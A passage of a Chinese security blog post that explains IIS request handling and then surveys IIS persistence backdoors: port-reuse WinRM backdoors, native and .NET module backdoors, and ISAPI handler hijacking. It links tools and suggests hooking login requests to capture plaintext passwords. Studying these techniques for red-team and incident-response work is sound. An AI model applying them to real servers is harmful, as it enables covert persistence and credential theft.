Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">w3wp.exe</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  请求进入iis的请求队列后，交由对应的w3wp.exe进程进行处理，如下图：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7048192771084337" title="null" data-type="png" data-w="1826" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=51d2c64f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOJKiaoibv1ThiaGHMr4Lq6odaCVstBV3eXfUbian8TZO50MrnYgRcvqIPYA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  W3wp根据请求的文件后缀，判断类型后，交由不同的逻辑进行处理，也就是最上面提及的ASP,ISAPI,CGI等。在这之前还有对请求的一系列处理，包括匿名请求处理，日志记录等。W3WP相关的配置一般在C:\Windows\System32\inetsrv\config\applicationHost.config，我们在<globalmodules>可以看到一些对请求的修饰及处理：</globalmodules></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.631266846361186" title="null" data-type="png" data-w="1855" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c3221a65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DODL5Qgk9yy6h0l2CTicHKk2UDMWE9Tiaf4TyWDc5IvriaOfyPmDzof2PicA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">ISAPI</h2><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">  同样在applicationHost.config里我们可以看到将.aspx文件交由isapi进行处理：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3173396674584323" title="null" data-type="png" data-w="2105" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bd06a072&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOvf3WWyWsJZialGhSAJ3AK9rvPaBk6EG6LXOicp1xsnAUK41obk0p0ynQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">  Aspnet_isapi.dll由c编写，为iis的模块。我们在.net目录C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config下也可以看到一个web.config,其中也有isapi的映射关系：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5507478632478633" title="null" data-type="png" data-w="1872" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a63f9376&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOka7OJibv7DYlPTPppP49zyZNqTAM4YnMR5lH2jTZCRvVCNo1VZBxArg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对应后缀对应c#的一些type，相对操作空间大一些。 </p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">module和hanlder</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在上面我们可以看到对于.aspx文件最后由System.Web.UI.PageHandlerFactory进行处理，该类根据后缀生成对应的webhanlder来处理请求。对于hanlder我们也不会陌生，常见的ashx就是通过继承handler来实现的。此外我们发现配置文件中还有很多modules的存在。关于module和handler的关系，微软也有明确说明：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5219538968166849" title="null" data-type="png" data-w="1822" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=42ed2746&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOPzKR1R81oK42GPO19c7J8XibDNWbibiaeW2qiakkKPlpfWGA9BgatraFibw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">每个请求都会经过多个module来处理，最后交由一个handler进行处理。结合前面默认module所带的功能，我们能感觉到module一般是做类似修饰请求、预检请求之类的工作。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.22258953168044077" title="null" data-type="png" data-w="1815" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e02f84c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOGjrTw9Mg4yicGAO6SWtAw0Z5FrkRbURco4wB9JOibrDKV57hBHf7VZSQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">确实如此，但笔者之前这里有一个误区，以前一直以为module在hanlder之前触发，现在看来都能触发。也就是说module也可以修改响应包。  配置文件中module的格式：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;httpModules&gt;<br/>    &lt;add type=&#34;[COM+ Class], [Assembly]&#34; name=&#34;[ModuleName]&#34; /&gt;<br/>    &lt;remove type=&#34;[COM+ Class], [Assembly]&#34; name=&#34;[ModuleName]&#34; /&gt;<br/>    &lt;clear /&gt;<br/>&lt;/httpModules&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">配置文件中hanlder的格式：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;httpHandlers&gt;<br/>    &lt;add verb=&#34;[verb list]&#34; path=&#34;[path/wildcard]&#34; type=&#34;[COM+ Class], [Assembly]&#34; validate=&#34;[true/false]&#34; /&gt;<br/>    &lt;remove verb=&#34;[verb list]&#34; path=&#34;[path/wildcard]&#34; /&gt;<br/>    &lt;clear /&gt;<br/>&lt;/httpHandlers&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">此外还有Application的概念：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6269884805266045" title="null" data-type="png" data-w="1823" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=035dcf84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOJzL7jibibBCgqCx9vV3iaDp7lQqR6B81fnKyMMUoNEGq4Pia0kJxvGqrSw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  我们可以看到继承了IhttpAsyncHanlder和IHttpHanler，实际上最终也是hanlder。  包括Page对象，同样继承了handler，这在冰蝎中也有应用</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6565603763721902" title="null" data-type="png" data-w="1913" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6ab07959&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOpwCsibLHhgx2NoAyRDhveKHPp7RBF4mFnqEOiaSJPOO0gWL2o2K0ETJw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">小结</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  IIS整体的请求如下图：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7211860353897657" title="null" data-type="png" data-w="2091" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ba4b5f17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOLA3HgxHziaJyrkFCibI3Hx0deNibobrJAib1GrdkKreJzALfAuYcBOKhNw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">1.用户访问请求到达HTTP.SYS。2.通过svchost.exe加载applicationhost.config，其中包括请求预处理的module和iaspi映射关系 3.经过w3wp执行modules，移交给.net进行处理。  对应版本的.net根据自身配置定义isapi，加载修饰请求的module移交给对应的hanlder进行处理。 </p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">在渗透测试中的应用</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"> </p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">HTTP.SYS 后门</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  主要是可以和iis进行端口复用。注册一个新的url端点不影响原本iis web应用的使用，下面是几种利用方式：  1.修改横向移动手段winrm的默认端口为443与IIS进行端口复用，实现隐蔽后门：<a href="https://paper.seebug.org/1692/" target="_blank">https://paper.seebug.org/1692/</a> 2.通过c#反序列化漏洞直接植入listener内存后门：<a href="https://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html" target="_blank">https://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html</a> 3.DotNet core 端口复用样例:<a href="https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/httpsys?view=aspnetcore-6.0" target="_blank">https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/httpsys?view=aspnetcore-6.0</a>  </p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">IIS模块后门[T1505]</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在http.sys处理完后交给iis模块处理，主要由c++实现，可hook所有到达iis的请求：<a href="https://github.com/0x09AL/IIS-Raid" target="_blank">https://github.com/0x09AL/IIS-Raid</a>   配置方法主要通过修改C:\Windows\System32\inetsrv\config\applicationHost.config或appcmd命令实现。  以前好像看过文章很多黑产团队喜欢用这种后门，因为可以进行定制化的功能。比如判断ua或者源ip等条件，符合条件才响应，否则是正常的功能。一些应急响应的案例：<a href="https://www.wangan.com/p/7fy7fx50f86cc16b" target="_blank">https://www.wangan.com/p/7fy7fx50f86cc16b</a> <a href="https://www.wangan.com/p/7fygf3190c55a165" target="_blank">https://www.wangan.com/p/7fygf3190c55a165</a>   目前该方法已被att&amp;ck归类：<a href="https://attack.mitre.org/techniques/T1505/004/" target="_blank">https://attack.mitre.org/techniques/T1505/004/</a>  </p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">.net ISAPI 后门[T1505]</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在.net处理层面修改某后缀处理的hanlder：<a href="https://github.com/Ivan1ee/NetDLLSpy" target="_blank">https://github.com/Ivan1ee/NetDLLSpy</a> 配置方法主要通过修改对应版本的.net配置文件C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config实现。  目前该方法已被att&amp;ck归类：<a href="https://attack.mitre.org/techniques/T1505/004/" target="_blank">https://attack.mitre.org/techniques/T1505/004/</a>  </p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">.net module后门</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  除了在iis的配置上做手脚，web应用本身也支持module的功能修饰请求：<a href="https://github.com/WBGlIl/IIS_backdoor" target="_blank">https://github.com/WBGlIl/IIS_backdoor</a> 主要通过将该dll放入web应用的dll目录，并修改目录下的web.config的modules属性配置。  使用C#开发IIS模块后门:<a href="https://y4er.com/posts/using-csharp-to-develop-the-iis-module-backdoor/#" target="_blank">https://y4er.com/posts/using-csharp-to-develop-the-iis-module-backdoor/#</a></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">总结</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  从部署后门的角度考虑，我们需要明白每个后门在什么环节触发，找到合适的方法才能在不影响网站功能的情况下hook请求或实现隐蔽后门。  这些手段不仅仅实现后门功能，hook请求在红队活动中也有很大作用。我们可以hook登录请求从而记录用户的明文密码，这种方式比js挂马的记录更隐蔽。  从代码审计的角度考虑，我们除了要关注web目录下的文件，要明白请求还经过iis的module，c#的module，应用的module三重额外修饰。甚至有些应用完全依靠module来实现，比如Microsoft exchange Server。             </p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.96px;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">0x01 基于端口复用的WinRM后门</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">WinRM后门介绍</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Windows 远程管理是 Windows 硬件管理功能的一个组件，通过该组件，可以对Windows 主机进行远程管理，因为WinRM基于http作为底层数据交换，所以流量会经过http.sys驱动。而通过http.sys的特性可以实现端口复用，从而将WinRM后门隐藏在正常的web通讯中。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">WinRM 后门的搭建</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">目标机器:windows2012，Win2012及以上版本中默认开启了WinRM服务</p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">http.sys可以使用相同的端口，只需要他们的网址前缀（urlprefixes）不相同，即可做到端口复用。使用下面的语句可以查看当前http.sys中注册的所有网址前缀。 </span><code style="white-space:pre-wrap;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">netsh http show servicestate | findstr /r &#34;Server\ Session HTTP&#34;</code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"> 通过下图，表明存在三个网址前缀，其中5985为WinRM服务所建立的前缀，80端口为IIS中默认页面的网址前缀。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: 